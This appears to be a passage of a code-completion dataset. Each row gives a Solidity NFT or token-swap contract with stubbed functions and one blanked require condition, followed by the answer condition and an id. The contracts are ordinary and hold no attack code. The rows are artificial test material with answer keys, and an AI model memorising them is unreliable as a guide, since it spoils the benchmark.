* Use Max Mints more of a max perwallet than how many can be minted.
* This remedied the bug of not being able to mint in Public sale after
* a presale mint has occured. or a mint has occured and was transfered to a different wallet.
*/
function mint(uint256 quantity) external payable {
require(saleIsActive, "Sale must be active to mint");
// _safeMint's second argument now takes in a quantity, not a tokenId.
require(totalSupply() + quantity <= MAX_SUPPLY, "Not enough tokens left to Mint");
if(privateSaleIsActive) {
require(msg.value >= (privateMintPrice * quantity), "Not enough ETH sent");
require((balanceOf(msg.sender) + quantity) <= MAX_MINTS, "Over Max Limit");
require(isWhitelisted(msg.sender), "Is not whitelisted");
} else {
require((balanceOf(msg.sender) + quantity) <= MAX_MINTS, "Over Max Limit");
require(<FILL_ME>)
}
if (totalSupply() < MAX_SUPPLY){
_safeMint(msg.sender, quantity);
}
}
/*
* @dev Set Max Mints allowed by any one single
* wallet during the entirety of the Mint.
*/
function setMaxMints(uint256 _max) external onlyOwner {
}
/*
* @dev Set new Base URI
* useful for setting unrevealed uri to revealed Base URI
* same as a reveal switch/state but not the extraness
*/
function setBaseURI(string calldata newBaseURI) external onlyOwner {
}
/*
* @dev returns Base URI
*/
function _baseURI() internal view override returns (string memory) {
}
/*
* @dev Pause sale if active, make active if paused
*/
function setSaleActive() public onlyOwner {
}
/*
* @dev flip sale state from whitelist to public
*
*/
function setPrivateSaleActive() public onlyOwner {
}
/*
* @dev Withdrawl function, Contract ETH balance
* to owner wallet address.
*/
function withdraw() public onlyOwner {
}
/*
* @dev Alternative withdrawl
* mint funs to a specified address
*
*/
function altWithdraw(uint256 _amount, address payable _to)
external
onlyOwner
{
}
/*
* @dev Set Whitelist address
* array - format must be: ["address1","address2"]
*
*/
function setWhitelistAddr(address[] memory addrs) public onlyOwner {
}
/*
* @dev Add a single Wallet
* address to whitelist
*
*/
function addAddressToWhitelist(address addr)
public
onlyOwner
returns (bool success)
{
}
/*
* @dev return a boolean true or false if
* an address is whitelisted on etherscan
* or frontend
*/
function isWhitelisted(address addr)
public
view
returns (bool isWhiteListed)
{
}
}
| (mintRate*quantity)<=msg.value,"Value below price" | 173,118 | (mintRate*quantity)<=msg.value |
"Already whitelisted" | /*
* ERC721A Gas Optimized Minting
* https://twitter.com/SQUIDzillaz0e
*/
contract Bullionaires is ERC721A, Ownable {
using SafeMath for uint256;
/*
* @dev Set Initial Parameters Before deployment
* settings are still fully updateable after deployment
* Max Mint overall, Max NFTs in collection, Max Mint during Presale period
* as well as Private/Presale price adn Public Mint price.
* Public are easily retrieved on Etherscan/FrontEnd
*/
uint256 public MAX_MINTS = 6;
uint256 public MAX_SUPPLY = 1500;
uint256 public mintRate = 0.14 ether;
uint256 public privateMintPrice = 0.12 ether;
/*
* @Dev Booleans for sale states.
* salesIsActive must be true in any case to mint
* privateSaleIsActive must be true in the case of Whitelist mints
* If you do not want a WL period or a Presale Period keep
* privateSalesIsActive set to False and it will bypass the sale period Entirely.
*/
bool public saleIsActive = false;
bool public privateSaleIsActive = true;
/*
* @Dev Whitelist Struct and Mappings
*/
struct Whitelist {
address addr;
}
mapping(address => Whitelist) public whitelist;
address[] whitelistAddr;
/*
* @dev Set base URI
* Do not Deploy with your Revealed
* base URI
*/
string public baseURI = "ipfs://BULLIONARES/";
/*
* @dev Set your Collection/Contract name and Token Ticker
* below. Constructor Parameter cannot be changed after
* contract deployment.
*/
constructor() ERC721A("BULLIONAIRES", "BULLX") {}
/*
* @dev
* Set presale price to mint per NFT
*/
function setPrivateMintPrice(uint256 _price) external onlyOwner {
}
/*
*@dev
* Set publicsale price to mint per NFT
*/
function setPublicMintPrice(uint256 _price) external onlyOwner {
}
/*
* @dev mint funtion with _to address. no cost mint
* by contract owner/deployer
*/
function ownerMint(uint256 quantity, address _to) external onlyOwner {
}
/*
* @dev mint function and checks for saleState and mint quantity
* Includes Private/public sale checks and quantity minted.
* ** Updated to only look for whitelist during Presale state only
* Use Max Mints more of a max perwallet than how many can be minted.
* This remedied the bug of not being able to mint in Public sale after
* a presale mint has occured. or a mint has occured and was transfered to a different wallet.
*/
function mint(uint256 quantity) external payable {
}
/*
* @dev Set Max Mints allowed by any one single
* wallet during the entirety of the Mint.
*/
function setMaxMints(uint256 _max) external onlyOwner {
}
/*
* @dev Set new Base URI
* useful for setting unrevealed uri to revealed Base URI
* same as a reveal switch/state but not the extraness
*/
function setBaseURI(string calldata newBaseURI) external onlyOwner {
}
/*
* @dev returns Base URI
*/
function _baseURI() internal view override returns (string memory) {
}
/*
* @dev Pause sale if active, make active if paused
*/
function setSaleActive() public onlyOwner {
}
/*
* @dev flip sale state from whitelist to public
*
*/
function setPrivateSaleActive() public onlyOwner {
}
/*
* @dev Withdrawl function, Contract ETH balance
* to owner wallet address.
*/
function withdraw() public onlyOwner {
}
/*
* @dev Alternative withdrawl
* mint funs to a specified address
*
*/
function altWithdraw(uint256 _amount, address payable _to)
external
onlyOwner
{
}
/*
* @dev Set Whitelist address
* array - format must be: ["address1","address2"]
*
*/
function setWhitelistAddr(address[] memory addrs) public onlyOwner {
}
/*
* @dev Add a single Wallet
* address to whitelist
*
*/
function addAddressToWhitelist(address addr)
public
onlyOwner
returns (bool success)
{
require(<FILL_ME>)
whitelist[addr].addr = addr;
success = true;
}
/*
* @dev return a boolean true or false if
* an address is whitelisted on etherscan
* or frontend
*/
function isWhitelisted(address addr)
public
view
returns (bool isWhiteListed)
{
}
}
| !isWhitelisted(addr),"Already whitelisted" | 173,118 | !isWhitelisted(addr) |
"Murder window isn't open redrum!" | // SPDX-License-Identifier: MIT
/*
▄▄▄█████▓ ██░ ██ ▓█████ ▄▄▄ ██████▓██ ██▓ ██▓ █ ██ ███▄ ▄███▓ ██░ ██ ▄▄▄ ██▓ ██▓ ██████
▓ ██▒ ▓▒▓██░ ██▒▓█ ▀ ▒████▄ ▒██ ▒ ▒██ ██▒▓██▒ ██ ▓██▒▓██▒▀█▀ ██▒ ▓██░ ██▒▒████▄ ▓██▒ ▓██▒ ▒██ ▒
▒ ▓██░ ▒░▒██▀▀██░▒███ ▒██ ▀█▄ ░ ▓██▄ ▒██ ██░▒██░ ▓██ ▒██░▓██ ▓██░ ▒██▀▀██░▒██ ▀█▄ ▒██░ ▒██░ ░ ▓██▄
░ ▓██▓ ░ ░▓█ ░██ ▒▓█ ▄ ░██▄▄▄▄██ ▒ ██▒ ░ ▐██▓░▒██░ ▓▓█ ░██░▒██ ▒██ ░▓█ ░██ ░██▄▄▄▄██ ▒██░ ▒██░ ▒ ██▒
▒██▒ ░ ░▓█▒░██▓░▒████▒ ▓█ ▓██▒▒██████▒▒ ░ ██▒▓░░██████▒▒▒█████▓ ▒██▒ ░██▒ ░▓█▒░██▓ ▓█ ▓██▒░██████▒░██████▒▒██████▒▒
▒ ░░ ▒ ░░▒░▒░░ ▒░ ░ ▒▒ ▓▒█░▒ ▒▓▒ ▒ ░ ██▒▒▒ ░ ▒░▓ ░░▒▓▒ ▒ ▒ ░ ▒░ ░ ░ ▒ ░░▒░▒ ▒▒ ▓▒█░░ ▒░▓ ░░ ▒░▓ ░▒ ▒▓▒ ▒ ░
░ ▒ ░▒░ ░ ░ ░ ░ ▒ ▒▒ ░░ ░▒ ░ ░▓██ ░▒░ ░ ░ ▒ ░░░▒░ ░ ░ ░ ░ ░ ▒ ░▒░ ░ ▒ ▒▒ ░░ ░ ▒ ░░ ░ ▒ ░░ ░▒ ░ ░
░ ░ ░░ ░ ░ ░ ▒ ░ ░ ░ ▒ ▒ ░░ ░ ░ ░░░ ░ ░ ░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
*/
pragma solidity >=0.8.9 <0.9.0;
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract Asylum is ERC721AQueryable, Ownable, ReentrancyGuard {
using Strings for uint256;
//whitelist/public settings
bytes32 public merkleRoot;
mapping(address => bool) public whitelistClaimed;
mapping(address => bool) public publicClaimed;
//collection settings
string public uriPrefix = "";
string public uriSuffix = ".json";
string public hiddenMetadataUri;
//sale settings
uint256 public cost = 0 ether;
uint256 public maxSupply = 6666;
uint256 public maxMintAmountPerTx;
uint256 public murderCount;
//contract control variables
bool public whitelistMintEnabled = false;
bool public paused = true;
bool public revealed = false;
bool public murderWindowPaused = true;
constructor(uint256 _maxMintAmountPerTx, string memory _hiddenMetadataUri)
ERC721A("The Asylum Halls", "ASM") {
}
function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public {
}
function mint(uint256 _mintAmount) public payable {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function redrum(uint256 _tokenId) public {
require(<FILL_ME>)
murderCount++;
_burn(_tokenId);
}
function alphaMint(address[] calldata addresses, uint256[] calldata count) external onlyOwner {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function donate() external payable {
}
function setRevealed(bool _state) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function setWhitelistMintEnabled(bool _state) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setMurderWindow(bool _state) public onlyOwner {
}
function withdraw() public onlyOwner nonReentrant {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| !murderWindowPaused,"Murder window isn't open redrum!" | 173,139 | !murderWindowPaused |
"LaiSwap: monitored supply mismatch" | // SPDX-License-Identifier: BSL
pragma solidity 0.8.19;
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract LaiSwapV2 is Pausable, Ownable {
using SafeERC20 for IERC20;
address constant DEAD = 0x000000000000000000000000000000000000dEaD;
address public immutable gpt;
address public immutable lai;
uint256 public totalSwapped;
uint256 public startTime;
uint256 public endTime;
event Swapped(address indexed user, uint256 amount);
event StartTimeChanged(uint256 fromTime, uint256 toTime);
event EndTimeChanged(uint256 fromTime, uint256 toTime);
struct MonitoredAddress {
address _address;
uint256 _amount;
}
MonitoredAddress public monitoredBalance;
MonitoredAddress public monitoredSupply;
event MonitoredBalanceChanged(
address indexed fromAddress,
address indexed toAddress,
uint256 fromAmount,
uint256 toAmount
);
event MonitoredSupplyChanged(
address indexed fromAddress,
address indexed toAddress,
uint256 fromAmount,
uint256 toAmount
);
constructor(
address _gpt,
address _lai,
uint256 _startTime,
uint256 _endTime
) {
}
modifier whenLive() {
}
/**
* @notice This modifier checks if the total supply of GPT tokens mathces the monitored amount.
* @dev The modifier is only relevant if the monitored address is set.
*/
modifier ensureMonitoredSupply() {
(address address_, uint256 amount_) = (
monitoredSupply._address,
monitoredSupply._amount
);
if (address_ == address(0)) {
_;
} else {
require(<FILL_ME>)
_;
}
}
/**
* @notice This modifier checks if the monitored address has the monitored amount of GPT tokens.
* @dev The modifier is only relevant if the monitored address is set.
*/
modifier ensureMonitoredBalance() {
}
/**
* @notice This function allows a user to swap their GPT tokens for LAI tokens.
* @dev The function can only be called when the contract is not paused and during the live period.
* Additionally, it requires the monitored address to have the monitored amount of GPT tokens.
* @param amount The amount of GPT tokens the user wants to swap for LAI tokens.
*/
function swap(
uint256 amount
)
external
whenNotPaused
whenLive
ensureMonitoredSupply
ensureMonitoredBalance
{
}
// Owner functions
function togglePause() external onlyOwner {
}
function setStartTime(uint256 _startTime) external onlyOwner {
}
function setEndTime(uint256 _endTime) external onlyOwner {
}
function setTimes(uint256 _startTime, uint256 _endTime) external onlyOwner {
}
function setMonitoredBalance(
address _address,
uint256 _amount
) external onlyOwner {
}
function setMonitoredSupply(
address _address,
uint256 _amount
) external onlyOwner {
}
function withdraw(address token, uint256 amount) external onlyOwner {
}
}
| IERC20(address_).totalSupply()==amount_,"LaiSwap: monitored supply mismatch" | 173,167 | IERC20(address_).totalSupply()==amount_ |
"LaiSwap: monitored balance mismatch" | // SPDX-License-Identifier: BSL
pragma solidity 0.8.19;
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract LaiSwapV2 is Pausable, Ownable {
using SafeERC20 for IERC20;
address constant DEAD = 0x000000000000000000000000000000000000dEaD;
address public immutable gpt;
address public immutable lai;
uint256 public totalSwapped;
uint256 public startTime;
uint256 public endTime;
event Swapped(address indexed user, uint256 amount);
event StartTimeChanged(uint256 fromTime, uint256 toTime);
event EndTimeChanged(uint256 fromTime, uint256 toTime);
struct MonitoredAddress {
address _address;
uint256 _amount;
}
MonitoredAddress public monitoredBalance;
MonitoredAddress public monitoredSupply;
event MonitoredBalanceChanged(
address indexed fromAddress,
address indexed toAddress,
uint256 fromAmount,
uint256 toAmount
);
event MonitoredSupplyChanged(
address indexed fromAddress,
address indexed toAddress,
uint256 fromAmount,
uint256 toAmount
);
constructor(
address _gpt,
address _lai,
uint256 _startTime,
uint256 _endTime
) {
}
modifier whenLive() {
}
/**
* @notice This modifier checks if the total supply of GPT tokens mathces the monitored amount.
* @dev The modifier is only relevant if the monitored address is set.
*/
modifier ensureMonitoredSupply() {
}
/**
* @notice This modifier checks if the monitored address has the monitored amount of GPT tokens.
* @dev The modifier is only relevant if the monitored address is set.
*/
modifier ensureMonitoredBalance() {
(address address_, uint256 amount_) = (
monitoredBalance._address,
monitoredBalance._amount
);
if (address_ == address(0)) {
_;
} else {
require(<FILL_ME>)
_;
}
}
/**
* @notice This function allows a user to swap their GPT tokens for LAI tokens.
* @dev The function can only be called when the contract is not paused and during the live period.
* Additionally, it requires the monitored address to have the monitored amount of GPT tokens.
* @param amount The amount of GPT tokens the user wants to swap for LAI tokens.
*/
function swap(
uint256 amount
)
external
whenNotPaused
whenLive
ensureMonitoredSupply
ensureMonitoredBalance
{
}
// Owner functions
function togglePause() external onlyOwner {
}
function setStartTime(uint256 _startTime) external onlyOwner {
}
function setEndTime(uint256 _endTime) external onlyOwner {
}
function setTimes(uint256 _startTime, uint256 _endTime) external onlyOwner {
}
function setMonitoredBalance(
address _address,
uint256 _amount
) external onlyOwner {
}
function setMonitoredSupply(
address _address,
uint256 _amount
) external onlyOwner {
}
function withdraw(address token, uint256 amount) external onlyOwner {
}
}
| IERC20(gpt).balanceOf(address_)==amount_,"LaiSwap: monitored balance mismatch" | 173,167 | IERC20(gpt).balanceOf(address_)==amount_ |
"GoldenEggi: ERC721: token already minted" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import '@openzeppelin/contracts/utils/Strings.sol';
interface IGoldenMembers {
function mint(address buyer) external returns (bool);
function getCurrentTokenId() external view returns (uint256);
function cap() external view returns (uint256);
}
contract GoldenEggis is ERC721Enumerable, AccessControl {
using Strings for uint256;
uint256 private constant BASE = 10000;
string public uriSuffix = ".json";
address public goldenMemberNFT;
uint256 public tokenPricePreSale;
uint256 public tokenPricePublicSale;
uint256 public maxNftAllowedPresale;
uint256 public maxNftAllowedPublicSale;
uint256 public airdropLastTokenId;
uint256 public airdropMaxTokenId;
uint256 public preSaleLastTokenId;
uint256 public preSaleMaxTokenId;
uint256 public lastTokenId;
uint256 public maxTokenId;
uint256 public preSaleOpenTime;
uint256 public preSaleCloseTime;
uint256 public publicSaleStartTime;
uint256 public totalMints;
uint256 public presaleMints;
uint256 public receiverPercentage;
address public receiverWallet1 = 0x37ed71206D8e4B73158cd49307268c3d4C17F949;
address public receiverWallet2 = 0xcC939619eD4A570174C5Dda5a7Ae1095451aA7ce;
address public receiverWallet3 = 0x50672d7315787C3597C73FfE31e024e370ceeb91;
bool public isMintingEnabled;
string public _baseTokenURI;
mapping(address => uint256) public userPresaleMintCount;
mapping(address => uint256) public userPublicsaleMintCount;
event MaxNftAllowedPresale(uint256 maxNFTAllowed);
event MaxNftAllowedPublicSale(uint256 maxNFTAllowed);
event PreSalePrice(uint256 preSalePrice);
event PublicSalePrice(uint256 publicSalePrice);
event PresaleOpenTime(uint256 preSaleOpenTime);
event PresaleCloseTime(uint256 preSaleCloseTime);
event PublicsaleStartTime(uint256 publicSaleStartTime);
event PublicSaleTokenRange(uint256 lastTokenId, uint256 maxTokenId);
event AirdropTokenRange(uint256 lastTokenId, uint256 maxTokenId);
event WithdrawEthereum(address walletAddress, uint256 withdrawAmount);
event Airdrop(address airdropWallet, uint256 tokenId);
constructor() ERC721("GoldenEggis", "GoldenEggis") {
}
// to receive ether in the contract on each nft minting sale
receive() external payable {}
modifier onlyAdmin() {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721Enumerable, AccessControl)
returns (bool)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setGoldenMemberNFT(address _goldenMemberNFT) external onlyAdmin {
}
function setMaxNftAllowedPublicsale(uint256 _maxNfts) external onlyAdmin {
}
function setMaxNftAllowedPresale(uint256 _maxNfts) external onlyAdmin {
}
function setBaseURI(string memory baseURI) public onlyAdmin {
}
function changePresalePrice(uint256 _newtokenPrice) public onlyAdmin {
}
function changePublicsalePrice(uint256 _newtokenPrice) public onlyAdmin {
}
function setPresaleOpenTime(uint256 _presaleOpenTime) external onlyAdmin {
}
function setPreSaleCloseTime(uint256 _presaleCloseTime) external onlyAdmin {
}
function setPublicSaleStartTime(uint256 _publicSaleStartTime)
external
onlyAdmin
{
}
function setConfig_tokenrange(uint256 _lastTokenId, uint256 _maxTokenId)
external
onlyAdmin
{
}
function setConfig_airdroptokenrange(
uint256 _lastTokenId,
uint256 _maxTokenId
) external onlyAdmin {
}
function setReceiverPercentage(uint256 _receiverPer) external onlyAdmin {
}
function setMintingEnabled(bool _isEnabled) public onlyAdmin {
}
function setUriSuffix(string memory _uriSuffix) public onlyAdmin {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function mint(address _user, uint256 _tokenId) internal {
require(_user != address(0), "GoldenEggi: mint to the zero address");
require(<FILL_ME>)
_safeMint(_user, _tokenId);
}
function preSale(uint256 _num) public payable returns (bool result) {
}
function publicSale(uint256 _num) public payable returns (bool result) {
}
function Ambassadors(address[] memory _airdropAddresses) public onlyAdmin {
}
function EggisFoundation(address _walletAddress, uint256 _tokenId) public onlyAdmin {
}
//only admin can withdraw ethereum coins
function withdrawEth(
uint256 _withdrawAmount,
address payable _walletAddress
) public onlyAdmin {
}
function notAllowedToMint(uint256 _tokenId) internal pure returns(bool) {
}
}
| !_exists(_tokenId),"GoldenEggi: ERC721: token already minted" | 173,184 | !_exists(_tokenId) |
"mint count exceed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import '@openzeppelin/contracts/utils/Strings.sol';
interface IGoldenMembers {
function mint(address buyer) external returns (bool);
function getCurrentTokenId() external view returns (uint256);
function cap() external view returns (uint256);
}
contract GoldenEggis is ERC721Enumerable, AccessControl {
using Strings for uint256;
uint256 private constant BASE = 10000;
string public uriSuffix = ".json";
address public goldenMemberNFT;
uint256 public tokenPricePreSale;
uint256 public tokenPricePublicSale;
uint256 public maxNftAllowedPresale;
uint256 public maxNftAllowedPublicSale;
uint256 public airdropLastTokenId;
uint256 public airdropMaxTokenId;
uint256 public preSaleLastTokenId;
uint256 public preSaleMaxTokenId;
uint256 public lastTokenId;
uint256 public maxTokenId;
uint256 public preSaleOpenTime;
uint256 public preSaleCloseTime;
uint256 public publicSaleStartTime;
uint256 public totalMints;
uint256 public presaleMints;
uint256 public receiverPercentage;
address public receiverWallet1 = 0x37ed71206D8e4B73158cd49307268c3d4C17F949;
address public receiverWallet2 = 0xcC939619eD4A570174C5Dda5a7Ae1095451aA7ce;
address public receiverWallet3 = 0x50672d7315787C3597C73FfE31e024e370ceeb91;
bool public isMintingEnabled;
string public _baseTokenURI;
mapping(address => uint256) public userPresaleMintCount;
mapping(address => uint256) public userPublicsaleMintCount;
event MaxNftAllowedPresale(uint256 maxNFTAllowed);
event MaxNftAllowedPublicSale(uint256 maxNFTAllowed);
event PreSalePrice(uint256 preSalePrice);
event PublicSalePrice(uint256 publicSalePrice);
event PresaleOpenTime(uint256 preSaleOpenTime);
event PresaleCloseTime(uint256 preSaleCloseTime);
event PublicsaleStartTime(uint256 publicSaleStartTime);
event PublicSaleTokenRange(uint256 lastTokenId, uint256 maxTokenId);
event AirdropTokenRange(uint256 lastTokenId, uint256 maxTokenId);
event WithdrawEthereum(address walletAddress, uint256 withdrawAmount);
event Airdrop(address airdropWallet, uint256 tokenId);
constructor() ERC721("GoldenEggis", "GoldenEggis") {
}
// to receive ether in the contract on each nft minting sale
receive() external payable {}
modifier onlyAdmin() {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721Enumerable, AccessControl)
returns (bool)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setGoldenMemberNFT(address _goldenMemberNFT) external onlyAdmin {
}
function setMaxNftAllowedPublicsale(uint256 _maxNfts) external onlyAdmin {
}
function setMaxNftAllowedPresale(uint256 _maxNfts) external onlyAdmin {
}
function setBaseURI(string memory baseURI) public onlyAdmin {
}
function changePresalePrice(uint256 _newtokenPrice) public onlyAdmin {
}
function changePublicsalePrice(uint256 _newtokenPrice) public onlyAdmin {
}
function setPresaleOpenTime(uint256 _presaleOpenTime) external onlyAdmin {
}
function setPreSaleCloseTime(uint256 _presaleCloseTime) external onlyAdmin {
}
function setPublicSaleStartTime(uint256 _publicSaleStartTime)
external
onlyAdmin
{
}
function setConfig_tokenrange(uint256 _lastTokenId, uint256 _maxTokenId)
external
onlyAdmin
{
}
function setConfig_airdroptokenrange(
uint256 _lastTokenId,
uint256 _maxTokenId
) external onlyAdmin {
}
function setReceiverPercentage(uint256 _receiverPer) external onlyAdmin {
}
function setMintingEnabled(bool _isEnabled) public onlyAdmin {
}
function setUriSuffix(string memory _uriSuffix) public onlyAdmin {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function mint(address _user, uint256 _tokenId) internal {
}
function preSale(uint256 _num) public payable returns (bool result) {
require(
block.timestamp >= preSaleOpenTime &&
block.timestamp <= preSaleCloseTime,
"preSale not started or ended"
);
require(_num != 0, "GoldenEggi: Number of tokens cannot be zero");
require(isMintingEnabled, "GoldenEggi: Minting paused");
require(<FILL_ME>)
uint256 totalPrice = tokenPricePreSale * _num;
uint256 distPrice = (totalPrice * receiverPercentage) / BASE;
require(
msg.value >= totalPrice,
"GoldenEggi: Insufficient amount provided"
);
payable(receiverWallet1).transfer(distPrice);
payable(receiverWallet2).transfer(distPrice);
payable(receiverWallet3).transfer(distPrice);
require(
preSaleLastTokenId + _num <= preSaleMaxTokenId,
"GoldenEggi: Mint Maximum cap reached"
);
for (uint256 i = 0; i < _num; i++) {
if(notAllowedToMint(preSaleLastTokenId)) {
preSaleLastTokenId++;
}
IGoldenMembers(goldenMemberNFT).mint(msg.sender);
mint(msg.sender, preSaleLastTokenId);
preSaleLastTokenId++;
totalMints++;
presaleMints++;
}
userPresaleMintCount[msg.sender] += _num;
return true;
}
function publicSale(uint256 _num) public payable returns (bool result) {
}
function Ambassadors(address[] memory _airdropAddresses) public onlyAdmin {
}
function EggisFoundation(address _walletAddress, uint256 _tokenId) public onlyAdmin {
}
//only admin can withdraw ethereum coins
function withdrawEth(
uint256 _withdrawAmount,
address payable _walletAddress
) public onlyAdmin {
}
function notAllowedToMint(uint256 _tokenId) internal pure returns(bool) {
}
}
| userPresaleMintCount[msg.sender]+_num<=maxNftAllowedPresale,"mint count exceed" | 173,184 | userPresaleMintCount[msg.sender]+_num<=maxNftAllowedPresale |
"GoldenEggi: Mint Maximum cap reached" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import '@openzeppelin/contracts/utils/Strings.sol';
interface IGoldenMembers {
function mint(address buyer) external returns (bool);
function getCurrentTokenId() external view returns (uint256);
function cap() external view returns (uint256);
}
contract GoldenEggis is ERC721Enumerable, AccessControl {
using Strings for uint256;
uint256 private constant BASE = 10000;
string public uriSuffix = ".json";
address public goldenMemberNFT;
uint256 public tokenPricePreSale;
uint256 public tokenPricePublicSale;
uint256 public maxNftAllowedPresale;
uint256 public maxNftAllowedPublicSale;
uint256 public airdropLastTokenId;
uint256 public airdropMaxTokenId;
uint256 public preSaleLastTokenId;
uint256 public preSaleMaxTokenId;
uint256 public lastTokenId;
uint256 public maxTokenId;
uint256 public preSaleOpenTime;
uint256 public preSaleCloseTime;
uint256 public publicSaleStartTime;
uint256 public totalMints;
uint256 public presaleMints;
uint256 public receiverPercentage;
address public receiverWallet1 = 0x37ed71206D8e4B73158cd49307268c3d4C17F949;
address public receiverWallet2 = 0xcC939619eD4A570174C5Dda5a7Ae1095451aA7ce;
address public receiverWallet3 = 0x50672d7315787C3597C73FfE31e024e370ceeb91;
bool public isMintingEnabled;
string public _baseTokenURI;
mapping(address => uint256) public userPresaleMintCount;
mapping(address => uint256) public userPublicsaleMintCount;
event MaxNftAllowedPresale(uint256 maxNFTAllowed);
event MaxNftAllowedPublicSale(uint256 maxNFTAllowed);
event PreSalePrice(uint256 preSalePrice);
event PublicSalePrice(uint256 publicSalePrice);
event PresaleOpenTime(uint256 preSaleOpenTime);
event PresaleCloseTime(uint256 preSaleCloseTime);
event PublicsaleStartTime(uint256 publicSaleStartTime);
event PublicSaleTokenRange(uint256 lastTokenId, uint256 maxTokenId);
event AirdropTokenRange(uint256 lastTokenId, uint256 maxTokenId);
event WithdrawEthereum(address walletAddress, uint256 withdrawAmount);
event Airdrop(address airdropWallet, uint256 tokenId);
constructor() ERC721("GoldenEggis", "GoldenEggis") {
}
// to receive ether in the contract on each nft minting sale
receive() external payable {}
modifier onlyAdmin() {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721Enumerable, AccessControl)
returns (bool)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setGoldenMemberNFT(address _goldenMemberNFT) external onlyAdmin {
}
function setMaxNftAllowedPublicsale(uint256 _maxNfts) external onlyAdmin {
}
function setMaxNftAllowedPresale(uint256 _maxNfts) external onlyAdmin {
}
function setBaseURI(string memory baseURI) public onlyAdmin {
}
function changePresalePrice(uint256 _newtokenPrice) public onlyAdmin {
}
function changePublicsalePrice(uint256 _newtokenPrice) public onlyAdmin {
}
function setPresaleOpenTime(uint256 _presaleOpenTime) external onlyAdmin {
}
function setPreSaleCloseTime(uint256 _presaleCloseTime) external onlyAdmin {
}
function setPublicSaleStartTime(uint256 _publicSaleStartTime)
external
onlyAdmin
{
}
function setConfig_tokenrange(uint256 _lastTokenId, uint256 _maxTokenId)
external
onlyAdmin
{
}
function setConfig_airdroptokenrange(
uint256 _lastTokenId,
uint256 _maxTokenId
) external onlyAdmin {
}
function setReceiverPercentage(uint256 _receiverPer) external onlyAdmin {
}
function setMintingEnabled(bool _isEnabled) public onlyAdmin {
}
function setUriSuffix(string memory _uriSuffix) public onlyAdmin {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function mint(address _user, uint256 _tokenId) internal {
}
function preSale(uint256 _num) public payable returns (bool result) {
require(
block.timestamp >= preSaleOpenTime &&
block.timestamp <= preSaleCloseTime,
"preSale not started or ended"
);
require(_num != 0, "GoldenEggi: Number of tokens cannot be zero");
require(isMintingEnabled, "GoldenEggi: Minting paused");
require(
userPresaleMintCount[msg.sender] + _num <= maxNftAllowedPresale,
"mint count exceed"
);
uint256 totalPrice = tokenPricePreSale * _num;
uint256 distPrice = (totalPrice * receiverPercentage) / BASE;
require(
msg.value >= totalPrice,
"GoldenEggi: Insufficient amount provided"
);
payable(receiverWallet1).transfer(distPrice);
payable(receiverWallet2).transfer(distPrice);
payable(receiverWallet3).transfer(distPrice);
require(<FILL_ME>)
for (uint256 i = 0; i < _num; i++) {
if(notAllowedToMint(preSaleLastTokenId)) {
preSaleLastTokenId++;
}
IGoldenMembers(goldenMemberNFT).mint(msg.sender);
mint(msg.sender, preSaleLastTokenId);
preSaleLastTokenId++;
totalMints++;
presaleMints++;
}
userPresaleMintCount[msg.sender] += _num;
return true;
}
function publicSale(uint256 _num) public payable returns (bool result) {
}
function Ambassadors(address[] memory _airdropAddresses) public onlyAdmin {
}
function EggisFoundation(address _walletAddress, uint256 _tokenId) public onlyAdmin {
}
//only admin can withdraw ethereum coins
function withdrawEth(
uint256 _withdrawAmount,
address payable _walletAddress
) public onlyAdmin {
}
function notAllowedToMint(uint256 _tokenId) internal pure returns(bool) {
}
}
| preSaleLastTokenId+_num<=preSaleMaxTokenId,"GoldenEggi: Mint Maximum cap reached" | 173,184 | preSaleLastTokenId+_num<=preSaleMaxTokenId |
"mint count exceed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
